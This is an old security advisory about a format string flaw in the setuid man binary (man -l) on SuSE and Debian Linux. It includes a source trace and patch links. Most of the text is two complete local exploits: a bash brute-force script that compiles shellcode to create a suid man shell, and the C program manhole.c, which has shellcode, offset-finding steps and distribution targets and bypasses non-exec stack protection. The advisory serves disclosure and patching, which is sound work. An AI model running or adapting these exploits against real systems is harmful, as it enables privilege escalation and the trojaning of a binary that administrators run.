COMMAND
man
SYSTEMS AFFECTED
Linux
PROBLEM
Joao Gouveia found following. Example follows:
jroberto@spike:~ > cat /etc/issue
Welcome to SuSE Linux 6.3 (i386) - Kernel \r (\l).
jroberto@spike:~ > man -l %x%x%x%x
man: 0bffff8600bffff85c: No such file or directory
jroberto@spike:~ > man -V
man, version 2.3.10, db 2.3.1, July 12th, 1995 (G.Wilford@ee.surrey.ac.uk)
AFAIK, suse 7.0 also ships with this 'man'.
This has been confirmed on debian 2.2r2... tracing in source of
man-db-2.3.16 (man-db-2.3.17):
-- [src/man.c:752]:
if (!display ((cwd[0]?cwd:NULL), argv, NULL, basename(argv))) {
if ( local_mf )
error (0, errno, argv); <----- HERE
exit_status = NOT_FOUND;
}
-- [lib/error.c:80]
error (int status, int errnum, const char *message, ...)
-- [lib/error.c:102 (editted)]
VA_START (args, message);
vfprintf (stderr, message, args);
--
So, SuSE ships the /usr/bin/man command suid man. After
exploiting the man command format string vulnerability, the
attacker can then replace the /usr/bin/man binary with an own
program - since the man command is supposed to be used frequently
(especially for administrators), this imposes a rather high
security risk, which deserves some due respect.
Man is setuid <some user> in order to store pre-formatted manpages
around, so that future invocations do not have to format the
manpage. It is intended to allow simple source pages to be
shipped (compressed in the case of at least Debian) so that
PostScript versions can be generated, in addition to the simple
text-viewable versions -- and still allow for frequently-accessed
manpages to load as fast as shipping the formatted versions of
manpages.
It is interesting to note that OpenBSD does not use the source
pages by default -- only the processed plaintext 'cat'pages are
installed. This prevents the need for set(gd)id man applications,
and problems such as this.
Solaris does the opposite of and ships only the unformatted man
pages, which since Solaris 7 are sgml rather than nroff. If you
want to have access to catman pages rather than wait for them to
be formatted each time then root can run catman.
On Debian systems:
-rwsr-xr-x 1 man root 84524 Oct 24 08:11 /usr/lib/man-db/man
-rwxr-xr-x 3 root root 5060 Oct 24 08:11 /usr/bin/man
there are two man binaries.
/usr/bin/man is a simple binary, without any suid bit, BUT
/usr/lib/man-db/man is suid man, and it's vulnerable to man -l
<formatstr> attack. So anyone can get man uid by exploiting it.
So we can overwrite the /usr/lib/man-db/man binary with any stuff
we want, and when some user launches man, our code will be run
instead of the original /usr/lib/man-db/man binary. This is the
real security problem.
If root runs /usr/bin/man, it drops root priviledges, and it
setuids to man(6).
We can get man gid with man on Redhat. Then we may be able to
overwrite some stuff in /var/man/cache, what is still unsecure
because troff may have some security flaws...
In debian systems, we can own the user who runs man (but not
root!). In redhat systems, we get only man gid, but one may be
able to get more (not checked).
Paul Starzetz posted exploit that will create suid man shell on
vulnerable systems:
#!/bin/bash
# CONFIGURATION:
umask 000
target="/usr/bin/man"
tmpdir="/tmp/manexpl"
rm -rf "$tmpdir"
# address we want to write to (ret on the stack)
# has to be an absolute address but we brute force
# this scanning 64 addresses from writeadr on
writeadr="0xbffff180"
# address of the shell in our string
# must point somewhere to our 'nop' region
shadr="0xbffff720"
# number of nops before shellcode
declare -i nnops
nnops=128
# brute force how many times
declare -i nbrute
nbrute=512
echo
echo "-------------------------------------------"
echo "| local man exploit |"
echo "| by IhaQueR |"
echo "| only for demonstrative purposes |"
echo "-------------------------------------------"
echo
echo
echo "configured for running $target"
echo
echo "RETADR = $writeadr"
echo "SHELL = $shadr"
echo "NOPS = $nnops"
echo
shellfake="SSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSS"
nop="N"
# prepare
mkdir -p "$tmpdir"
if ! test -d "$tmpdir" ; then
echo "[-] creating working dir, exit"
exit 1
fi;
echo "[+] created working dir"
cd "$tmpdir"
echo
# number of nops before shellcode
declare -i nnops
nnops=128
# make nop field
declare -i idx
idx=0
nopcode=""
head=""
while test $idx -lt $nnops; do
nopcode="${nop}$nopcode"
idx=$(($idx+1))
done;
# sanity check :-)
if ! test -x $target ; then
echo "[-] $target not found or not executable, sorry"
exit 1
fi;
echo "[+] found $target"
echo
# get uids
muid=$(id -u man)
ruid=$(id -u)
if ! test $muid="" || ! test $ruid="" ; then
echo "[-] error checking ids, sorry"
exit 2;
fi;
printf "[+] uid=%d\t\tmid=%d" $ruid $muid
echo
declare -i cnt
declare -i cntmax
cnt=0
# max gstring length*4
cntmax=1024
# make string used for offset search
# like <head><addr><nops><shellcode>
# PP stands for padding
hstring="%0016d%x%0016d%d%0016d%d%0016d%dABCDEEEEFFFFGGGGHHHHIIIIJJJJKKKK${nopcode}${shellfake}"
gstring=""
# find offset
echo " now searching for offset"
echo
declare -i npad
declare -i ocnt
ocnt=0
while test $cnt -le $cntmax ; do
if test $ocnt -eq 4 ; then
ocnt=0
echo
fi;
gstring="%16g$gstring"
cnt=$(($cnt+1))
npad=0
padding=""
printf "[%4d " $cnt
while test $npad -lt 8 ; do
echo -n " $npad"
result=$($target -l "$gstring$hstring" -p "$padding" a 2>&1 | grep "44434241")
if test "$result" != "" ; then
break 2;
fi;
padding="P$padding"
npad=$(($npad+1))
done;
echo -n " ] "
ocnt=$(($ocnt+1))
done
echo "] "
echo
echo
# found offset
declare -i offset
offset=$(($cnt * 4))
if test $cnt -gt $cntmax ; then
echo "[-] offset not found, please tune me :-)"
exit 2
fi;
echo "[+] OFFSET found to be $offset/$cnt pad=$npad"
# number of bytes written so far
declare -i nwrt
nwrt=$((16*${cnt}))
echo " now constructing magic string nwrt=$nwrt"
echo
# we need unsigned arithmetics, simple c tool
cat <<__ATOOL__> atool.c
#include <stdio.h>
int main(int argc, char** argv)
{
int i, flip;
unsigned adr, shadr, nwrt, ruid, muid;
unsigned char* p;
unsigned addr[9];
unsigned char head[33]="%0016d%x%0016d%x%0016d%x%0016d%x";
unsigned char nop[1024];
unsigned char buf[8192];
// IhaQueR's special code (no trojan, believe me :-)
char hellcode[]= "\x31\xc0\x31\xdb\x31\xc9"
"\xb1\x01\xb7\x02\xb3\x03"
"\xb0\x46\xcd\x80"
"\x31\xc0\x31\xdb\x31\xc9"
"\xb3\x01\xb5\x02\xb1\x03"
"\xb0\x46\xcd\x80"
"\x31\xc0\x31\xdb"
"\xb3\x01\xb0\x17\xcd\x80"
"\xeb\x24\x5e\x8d\x1e\x89\x5e\x0b\x33\xd2\x89\x56\x07\x89\x56\x0f"
"\xb8\x1b\x56\x34\x12\x35\x10\x56\x34\x12\x8d\x4e\x0b\x8b\xd1\xcd"
"\x80\x33\xc0\x40\xcd\x80\xe8\xd7\xff\xff\xff./mkmsh";
// correct hellcode for current ruid, muid
ruid = $ruid;
muid = $muid;
hellcode[7] = muid & 0xff;
hellcode[9] = (ruid >> 8 ) & 0xff;
hellcode[11] = ruid & 0xff;
hellcode[23]=hellcode[7];
hellcode[25]=hellcode[9];
hellcode[27]=hellcode[11];
hellcode[37]=hellcode[7];
adr = $writeadr;
adr += atol(argv[1]);
// address field
for(i=0; i<4; i++) {
addr[2*i] = adr + i;
addr[2*i+1] = adr + i;
}
addr[8]=0;
// head
shadr = $shadr;
nwrt = $nwrt + 0;
p = (unsigned char*)&shadr;
for(i=0; i<4; i++) {
flip = (((int)256) + ((int)p[i])) - ((int)(nwrt % 256));
nwrt = nwrt + flip;
sprintf(head+i*8, "%%%04dx%%n", flip);
}
head[32] = 0;
// nops
for(i=0; i<$nnops; i++)
nop[i] = 0x90;
nop[i] = 0;
sprintf(buf, "$target -l '%s%s%s%s%s' -p \"$padding\" a 2>&1", "$gstring", head, addr, nop, hellcode);
system(buf);
}
__ATOOL__
# helper apps
rm -f atool
gcc atool.c -o atool
if ! test -x atool ; then
echo "[-] compilation error, exiting"
exit 3
fi;
echo "[+] compiled address tool"
# mansh
cat <<__MANSH__> mansh.c
main(int argc, char** argv)
{
setreuid($muid, $ruid);
execv("/bin/sh", argv);
}
__MANSH__
rm -rf mansh
rm -rf umansh
gcc mansh.c -o umansh
if ! test -x umansh ; then
echo "[-] compilation error, exiting"
exit 4
fi;
echo "[+] compiled mansh"
# mkmsh
cat <<__MKMSH__> mkmsh
#!/bin/bash
cp umansh mansh
chmod u+s mansh
__MKMSH__
chmod a+x mkmsh
if ! test -x mkmsh ; then
echo "[-] compilation error, exiting"
exit 5
fi;
echo "[+] mkmsh ready"
# brute force
echo " now brute force, wait..."
echo
idx=0
ocnt=1
umask 022
while test $idx -lt $nbrute ; do
result=$(atool "$(($idx*4))")
if test -x mansh ; then
echo
echo
echo "[+] SUCCESS"
echo
echo " suid man shell at $tmpdir/mansh"
echo
exit 6
fi;
printf "[%4d] " $idx
if test $ocnt -eq 16 ; then
ocnt=0;
echo
fi;
idx=$(($idx+1))
ocnt=$(($ocnt+1))
done;
# cleanup
echo
echo "[-] FAILED, tune writeadr, shadr, nnops, nbrute, etc."
echo
echo
rm -rf "$tmpdir"
Here's another exploit for the debian/suse man -l format string
bug. It bypasses Solar Designer's non-exec stack patch and should
work out of the box on Debian 2.2. There is a detailed
explanation of how to get the offsets for other distributions
(such as SuSE).
/*
* manhole.c - fish stiqz <fish@analog.org> 02/26/2001
* updated on 03/12/2001
*
* Now gives man's real userid. Thanks to Paul Starzetz for the hint
* concerning POSIX saved id's.
*
* How to get the offsets:
* ======================
*
* 1) Target address:
* $ objdump -s -j .dtors /path/to/man
*
* /path/to/man: file format elf32-i386
*
* Contents of section .dtors:
* 805a8dc ffffffff 00000000 ........
* ^^^^^^^
* Add 4 to the head of the .dtors list to get 0x0805a8e0.
*
* 2) Value to write:
* (This needs to be an address to our nops)
* $ cp /path/to/man /tmp
* $ ltrace ./manhole -p /tmp/man -t 0x0805a8e0 -v 0x52525252 -e 100 -u 5 2>&1 | grep malloc
* malloc(1342) = 0x0804a420
* malloc(601) = 0x0804a968
* malloc(161) = 0x0804abc8
* malloc(686) = 0x0804ac70
* malloc(1337) = 0x081611c8
* ^^^^ ^^^^^^^^^^
* malloc(4) = 0x0815f5d8
* malloc(13) = 0x0815f5e8
* malloc(10) = 0x0815f5f8
* malloc(719) = 0x08161708
*
* The elite malloc contains our eggshell.
* Notice that this eggshell is in the heap, so it will bypass Solar
* Designer's non-executable stack patch.
*
* 3) The stack eats:
* (Brute force it. -u specifies man's userid: `id man` to get it)
* $ for i in `seq 40 140`; do echo $i; ./manhole -p /path/to/man -t 0x0805a8e0 -v 0x081611c8 -e $i -u 5; done;
* ....
* 102
* ...
* 103
* ...
* 104
* ...
* sh-2.04$ whoami
* man
* sh-2.04$
*
*
* 4) Then email me the these three values including the operating system,
* distribution type and version, and man's uid. I'll add them to my
* exploit, give you credit, and send you a copy with all the known
* offsets.
*
* l8r, have fun. fish stiqz.
*/
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <errno.h>
extern int errno;
extern char *optarg;
#define DEFAULT_MAN_BIN "/usr/lib/man-db/man"
#define DEFAULT_SHELLCODE scode
#define DEFAULT_UID 5
#define ENV_VAR "LANG"
#define STACK (0xc0000000-4)
/* shellcode, does a setreuid(-1, UID); setreuid(UID, UID);
and execve of /bin/sh, uids at scode[10], scode[22] & scode[24] */
#define UID "\x05"
char scode[] =
/* setreuid(-1, 5); setreuid(5,5); */
"\x31\xdb\x31\xc9\xbb\xff\xff\xff\xff\xb1"UID
"\x31\xc0\xb0\x46\xcd\x80\x31\xdb\x31\xc9\xb3"UID
"\xb1"UID"\x31\xc0\xb0\x46\xcd\x80"
/* anathema */
"\x89\xe6" /* movl %esp, %esi */
"\x83\xc6\x30" /* addl $0x30, %esi */
"\xb8\x2e\x62\x69\x6e" /* movl $0x6e69622e, %eax */
"\x40" /* incl %eax */
"\x89\x06" /* movl %eax, (%esi) */
"\xb8\x2e\x73\x68\x21" /* movl $0x2168732e, %eax */
"\x40" /* incl %eax */
"\x89\x46\x04" /* movl %eax, 0x04(%esi) */
"\x29\xc0" /* subl %eax, %eax */
"\x88\x46\x07" /* movb %al, 0x07(%esi) */
"\x89\x76\x08" /* movl %esi, 0x08(%esi) */
"\x89\x46\x0c" /* movl %eax, 0x0c(%esi) */
"\xb0\x0b" /* movb $0x0b, %al */
"\x87\xf3" /* xchgl %esi, %ebx */
"\x8d\x4b\x08" /* leal 0x08(%ebx), %ecx */
"\x8d\x53\x0c" /* leal 0x0c(%ebx), %edx */
"\xcd\x80" /* int $0x80 */
;
char nop[] = "\x90";
/* architecture structure */
struct arch {
char *description;
char *filename;
char *code;
unsigned long target;
unsigned long value;
unsigned int eats;
unsigned int man_uid;
};
struct arch archlist[] =
{
{
"Slackware 7.1 - testing only (NOT DEFAULT)", "./man", scode,
0x0805a8e0, 0x081611c8, 104, 5
},
{
"Debian 2.2 (man-db_2.3.16-1.deb)", "/usr/lib/man-db/man", scode,
0x0805c53c, 0x08163128, 128, 6
}
};
/*
* Error cheq'n wrapper for malloc.
*/
void *Malloc(size_t n)
{
void *tmp;
if((tmp = malloc(n)) == NULL)
{
fprintf(stderr, "malloc(%u) failed! exiting...\n", n);
exit(EXIT_FAILURE);
}
return tmp;
}
/*
* Error cheq'n realloc.
*/
void *Realloc(void *ptr, size_t n)
{
void *tmp;
if((tmp = realloc(ptr, n)) == NULL)
{
fprintf(stderr, "realloc(%u) failed! exiting...\n", n);
exit(EXIT_FAILURE);
}
return tmp;
}
/*
* returns the proper alignment for the man -l argument on the stack.
* - this method courtesy of Michel "MaXX" Kaempf (Thanks dawg ;-)
*/
char *create_proper_align(char *man_bin, char **execve_envs, char *fmtstr)
{
unsigned long file_addr;
unsigned int x, align;
file_addr = STACK - (strlen(man_bin) + 1);
for(x = 0; execve_envs[x] != NULL; x++)
file_addr -= strlen(execve_envs[x]) + 1;
file_addr -= strlen(fmtstr) + 1;
for(align = 0; align < (file_addr % 16); align++);
printf("caculated alignment: %d\n", align);
fmtstr = Realloc(fmtstr, (strlen(fmtstr) + 1 + align) * sizeof(char));
memset(fmtstr + strlen(fmtstr), 'X', align);
return fmtstr;
}
/*
* generates a format string that overwrites location with value.
* This format string is only appropriate for use with a printf call
* that only writes to the screen due to the fact that it uses large
* precision values which will most likely cause a segfault if that
* many bytes are written to a string via sprintf.
* the number of items on the stack before the input buffer is
* specified by stackpad (eat up the stack..)
*/
#define EAT_ME "%.8x "
#define EAT_ME_SIZE 9
char *make_printf_fmtstr(unsigned long location,
unsigned long value,
unsigned int eats,
unsigned int addrpad)
{
char *fmtbuf;
char *eatbuf;
char *addrbuf, *tmpbuf;
unsigned int i, len1 = 0;
unsigned int big, small, tmp;
unsigned int precision[2];
unsigned long dest_addr[2];
/* set up the padbuf */
eatbuf = Malloc((1 + (eats * sizeof(EAT_ME))) * sizeof(char));
eatbuf[0] = 0x0;
for(i = 0; i < (eats * sizeof(EAT_ME)); i += sizeof(EAT_ME))
{
strcat(eatbuf, EAT_ME);
len1 += EAT_ME_SIZE;
}
/* split the address into 2 two byte segments */
big = value & 0x0000ffff;
small = (value & 0xffff0000) >> 16;
if(big < small)
{
/* swap the values */
tmp = big;
big = small;
small = tmp;
dest_addr[0] = location;
dest_addr[1] = location + 2;
}
else
{
dest_addr[0] = location + 2;
dest_addr[1] = location;
}
/* write in the destination addresses with the junk values to expand.
we want to write in in addrpad times to allow for "misses" */
addrbuf = Malloc((1 + (16 * addrpad)) * sizeof(char));
tmpbuf = addrbuf;
for(i = 0; i < addrpad; i++)
{
memcpy(tmpbuf + 0, "AAAA", 4); /* junk to pad */
memcpy(tmpbuf + 4, (char *)&dest_addr[0], 4); /* 1st addr to overwrite */
memcpy(tmpbuf + 8, "AAAA", 4); /* junk to pad */
memcpy(tmpbuf + 12, (char *)&dest_addr[1], 4);/* 2nd addr to overwrite */
tmpbuf += 16;
}
len1 += (16 * addrpad);
precision[0] = small - len1;
precision[1] = big - small;
/* 17: address + junk + null */
/* 6: 2 "%hn"'s */
/* 20: length specifiers */
fmtbuf = Malloc(strlen(eatbuf) + strlen(addrbuf) + 6 + 20);
sprintf(fmtbuf,
"%s" /* the junk & address buffer */
"%s" /* the pad buffer */
"%%.%dx" /* pad out the first junk value */
"%%hn" /* write to first address */
"%%.%dx" /* pad out last junk value */
"%%hn", /* write to last address */
addrbuf,
eatbuf,
precision[0],
precision[1]);
free(addrbuf);
free(eatbuf);
return fmtbuf;
}
/*
* makes the nop + shellcode egg
*/
char *make_eggshell(char *shellcode, char *nop, int num_nop, char *name,
unsigned int man_uid)
{
char *egg, *tmp;
unsigned int size, i, nop_size;
/* replace the shellcode uids with what we want in the shellcode */
shellcode[10] = man_uid;
shellcode[22] = man_uid;
shellcode[24] = man_uid;
printf("using uid = %u as man's userid\n", man_uid);
size = strlen(shellcode) + (num_nop * strlen(nop)) + strlen(name) + 2;
egg = Malloc(size * sizeof(char));
memset(egg, 0x0, size);
strcpy(egg, name);
strcat(egg, "=");
tmp = egg + strlen(name) + 1;
nop_size = strlen(nop);
for(i = 0; i < num_nop; i++)
{
memcpy(tmp, nop, nop_size);
tmp += nop_size;
}
strcat(egg, shellcode);
return egg;
}
/*
* prints a usage message and then exits.
*/
void usage(char *p)
{
int i;
fprintf(stderr,
"manhole - local man exploit by fish stiqz <fish@analog.org>\n"
"usage: %s <architecture>\n"
"Architectures:\n", p);
for(i = 0; i < sizeof(archlist) / sizeof(struct arch); i++ )
fprintf(stderr, " - %i: %s\n", i, archlist[i].description);
fprintf(stderr,
"usage: %s <options>\n"
"Manual Exploitation:\n"
"\t-p\t<path> path to man binary.\n"
"\t-t\t<target> address to overwrite.\n"
"\t-v\t<value> value to overwrite with.\n"
"\t-e\t<eats> number of stack eats\n"
"\t-u\t<uid> uid to regain (uid of man)\n", p);
exit(EXIT_FAILURE);
}
int main(int argc, char **argv)
{
char *fmt_str, *eggy, *shellcode, *man_bin = NULL, c;
char *execve_args[] = { NULL, "-l", NULL, NULL };
char *execve_envs[] = { NULL, NULL };
unsigned int eats = 0;
unsigned int man_uid = DEFAULT_UID;
unsigned long target = 0;
unsigned long value = 0;
int i;
struct arch *arch;
if(argc != 11 && argc != 2)
usage(argv[0]);
if(argc != 2)
{
shellcode = DEFAULT_SHELLCODE;
while((c = getopt(argc, argv, "t:v:e:p:u:h")) != EOF)
{
switch(c)
{
case 'p':
man_bin = strdup(optarg);
break;
case 't':
target = strtoul(optarg, NULL, 0);
break;
case 'v':
value = strtoul(optarg, NULL, 0);
break;
case 'e':
eats = strtoul(optarg, NULL, 0);
break;
case 'u':
man_uid = strtoul(optarg, NULL, 0);
break;
default:
usage(argv[0]);
break;
}
}
}
/* one argument - get it from the arch structure */
else
{
i = strtoul(argv[1], NULL, 0);
if(i < 0 || i >= sizeof(archlist) / sizeof(struct arch))
usage(argv[0]);
arch = &(archlist[i]);
man_bin = arch->filename;
shellcode = arch->code;
target = arch->target;
value = arch->value;
eats = arch->eats;
man_uid = arch->man_uid;
}
printf("attempting to overwrite %#lx with %#lx\n", target, value);
fflush(stdout);
if(strlen(shellcode) > 1337 - 1)
{
fprintf(stderr, "uh, shellcode is > 1336?? Go optimize it...\n");
exit(EXIT_FAILURE);
}
/* make the nop + shellcode egg */
eggy = make_eggshell(shellcode, nop, 1337 - strlen(shellcode) - 1,
ENV_VAR, man_uid);
execve_envs[0] = eggy;
/* generate the format string */
fmt_str = make_printf_fmtstr(target, value, eats, 10);
fmt_str = create_proper_align(man_bin, execve_envs, fmt_str);
execve_args[0] = man_bin;
execve_args[2] = fmt_str;
execve(execve_args[0], execve_args, execve_envs);
fprintf(stderr, "execve(%s): %s\n", execve_args[0], strerror(errno));
return EXIT_FAILURE;
}
SOLUTION
Version 1.5h (shipped with slackware 7.1) is not vulnerable. SuSE
will provide update packages shortly.
The solution FreeBSD uses is to set the schg flag on /usr/bin/man
- this flag can only be set and removed by root, and prevents a
compromise of the man user from overwriting the binary. Do
"chattr +i /usr/lib/man-db/man*" to prevent this style attacks.
For Debian:
http://security.debian.org/dists/stable/updates/main/source/man-db_2.3.16-1.1.dsc
http://security.debian.org/dists/stable/updates/main/source/man-db_2.3.16-1.1.tar.gz
http://security.debian.org/dists/stable/updates/main/binary-i386/man-db_2.3.16-1.1_i386.deb
http://security.debian.org/dists/stable/updates/main/binary-m68k/man-db_2.3.16-1.1_m68k.deb
http://security.debian.org/dists/stable/updates/main/binary-sparc/man-db_2.3.16-1.1_sparc.deb
http://security.debian.org/dists/stable/updates/main/binary-alpha/man-db_2.3.16-1.1_alpha.deb
http://security.debian.org/dists/stable/updates/main/binary-powerpc/man-db_2.3.16-1.1_powerpc.deb
http://security.debian.org/dists/stable/updates/main/binary-arm/man-db_2.3.16-1.1_arm.deb